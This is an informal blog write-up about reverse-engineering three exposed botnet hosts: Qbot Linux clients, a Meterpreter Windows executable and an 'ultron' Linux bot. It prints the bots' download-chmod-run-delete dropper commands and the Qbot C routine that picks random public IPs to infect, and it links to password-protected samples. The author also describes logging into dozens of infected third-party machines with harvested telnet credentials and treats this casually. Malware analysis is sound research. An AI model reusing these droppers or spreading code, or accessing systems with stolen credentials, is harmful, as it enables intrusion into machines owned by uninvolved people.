Yet Another Botnet Writeup

Whaddup RE people?

I have a treat especial just for you. I didn’t find 1 botnet host, I found 3.

The first item on the menu is Linux based. This one with working clients across many platforms including MIPS, Motorola, and even ARM. For those of you living under a rock, botnets are networks of infected machines used to initiate ddos attacks against networks and such. Bad news.

So how did I find these?

One day someone sends me a link to a 4chan knock off. I get curious about where it’s hosted. I scanned the CDIR, found a bunch of odd hosts and stumbled upon a few IP’s with their clients out in the open. Oops.

So obviously I have to wget that shit as soon as possible right? Can’t have it going offline before I’m done with it…

I have something like 191 thousand username / password / ip / port combinations. Sure some of them are offline, but most are still there. Pretty big botnet. This was the contents of the ‘infected.txt’ file.

Remember telnet? I do. Some of them work, some don’t. I don’t care enough to ping each one for connectivity, but I got a few dozen to work just fine…

Each binary seems to follow the same pattern – randomly try a new host to infect, much like a virus and move on.

What about the bots?
There are a number of bot clients in various architectures ranging from :

  • Arm
  • Mips
  • Power Pc
  • Sparc
  • Itanium
  • Super H
  • x86/x64 

Whoever made this had a goal in mind – infected all the Linuxes!

What’s inside the bots?

The strings make it obvious what it’s doing…

First we have our command string…

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod 777; sh; tftp -c get; chmod 777; sh; tftp -r -g; chmod 777; sh; ftpget -v -u anonymous -p anonymous -P 21; sh; rm -rf; rm -rf *; exit

Tl;dr – grab some bash files, throw them in various places, chmod them, run them, delete them. Here’s the contents of one of the shell scripts…

-e #!/bin/bash

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x ntpd; ./ntpd; rm -rf ntpd

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x sh; ./sh; rm -rf sh

-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget’ ‘; chmod +x ‘ ‘; ./’ ‘; rm -rf ‘ ‘

^^^ I highlighted the most interesting one. The apache index doesn’t support directly spaces for file names, as a result, the browser won’t be able to browse to it directly. Bug or feature?

So replace common programs with zombie progs?

Yes. After this is done, the next piece of code it runs replication. The process is simple – find a random IP, try the list of users and passwords from before, then attempt to connect / auth. How does it find a random IP programmatically?

Just does a random number 0-255 on each of the 4 octets. Of course it seems to skip the private network ranges.

Hope you like C:
in_addr_t getRandomPublicIP() { if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)         {                 ipState[1]++; ipState[2]++; ipState[3]++; ipState[4]++;                 char ip[16];                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); return inet_addr(ip);         } ipState[1] = rand() % 255; ipState[2] = rand() % 255;         ipState[3] = rand() % 255; ipState[4] = rand() % 255;         while(                 (ipState[1] == 0) ||                 (ipState[1] == 10) ||                 (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||                 (ipState[1] == 127) ||                 (ipState[1] == 169 && ipState[2] == 254) ||                 (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||                 (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||                 (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||                 (ipState[1] == 192 && ipState[2] == 168) ||                 (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||                 (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||                 (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||                 (ipState[1] >= 224)         )         {                 ipState[1] = rand() % 255;          ipState[2] = rand() % 255;          ipState[3] = rand() % 255; ipState[4] = rand() % 255;         } char ip[16];         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); return inet_addr(ip); } 

A quick cursory search on github with a few names of the functions (like ‘StartTheLelz’) I saw quickly gave me source code. Qbot.

I wasn’t expecting some complex shit on a PUBLICLY EXPOSED IP address. 

The github link posted does a better job explaining the rest of the functionality. Check passwords, connect, spread, flood UPD, TCP, etc. 

Wrap up of first botnet host :

The user/passes in these files don’t add up – the passwords inside don’t match what’s in the bot. Exmaple: root:t0talc0ntr0l4!

Most of these accounts aren’t root shells either, but are you really that picky?

Second botnet host

Rather innocuous, just a lone exe. What could it be?

Like all suspected windows executables on the net, it’s packed, because of course it is. Before you ask how I know, you can just tell looking at strings and the lack of exported / import functions.

Unpacking this was trivial. This might be the dunning-kruger effect, but this was pretty easy for me. Just located the VirtualAlloc call that was setting the protection type to ‘execute’ that loaded the encrypted strings I saw earlier.

Break on run, locate buffer, save.

So what the fuck is it? Meterpreter shell. How did I come up with this? Again, look at the function names (why don’t people strip these?) and browse github.

The fFunction named ‘packet_call_completion_handlers’ stands out. I found it on github under meterpreter’s source code:

Wrapping up Bot 2

Just a meterpreter exe. Likely a staging point for metasploit.

Bot 3 – The other Linux one.

This one has a much larger haul of users / passwords than the last one. Way more binaries too.

What do we have this time? More Complex than #1

More passwords, more users, more architectures.

This one operates the same way as the previous one, just has more users and passwords.

The command string pulled from the binaries is like the first one:

wget;chmod 777 ultronfinal.mips;./ultronfinal.mips;rm -rf ultronfinal.mips

Grab a binary, chmod it, run it, delete it.

I know what you’re thinking: “Joe, what’s in the PCAP files?”

Nothing. All lame shit. Disappointing.

What about the JSON files? What’s in those?

The big huge one ‘servers.json’ contains the following:

,.{   “ip”: “”,   “timestamp”: “1537106844”, “ports”: [ {“port”: 63922, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.,.{   “ip”: “”,   “timestamp”: “1537106844”, “ports”: [ {“port”: 38445, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.,.{   “ip”: “”,   “timestamp”: “1537106845”, “ports”: [ {“port”: 24884, “proto”: “tcp”, “status”: “open”, “reason”: “syn-ack”, “ttl”: 52} ] }.

Ports, IP’s, timestamps. Hundreds of thousands of entries.

Visit one of the IP’s and they all seem to be the same thing: NGINX. Maybe its some sort of 0day?

What about the other JSON file?

Usernames, passwords and hashes!


This file is HUGE. Shitloads of hashes, usernames, passwords.

What about source code? Did you get that too? You betcha!

Wrapping up Bot #3

More questions than answers. I need further investigation still. I need to:

  1. Figure out what the ip addresses / ports are for.
  2. Figure out what the user/passes are for.
  3. Find more botnets!
  4. ?????????
  5. Profit!

Obviously more work is needed, but I felt it necessary to share what I have so far, and actually update this blog once in a while.

Stay tuned, I got more crap to publish. Expect new shit soon.

Edit: want some samples? Click Here! The password as always is infected

Leave a Reply to Anonymous Cancel reply

Your email address will not be published. Required fields are marked *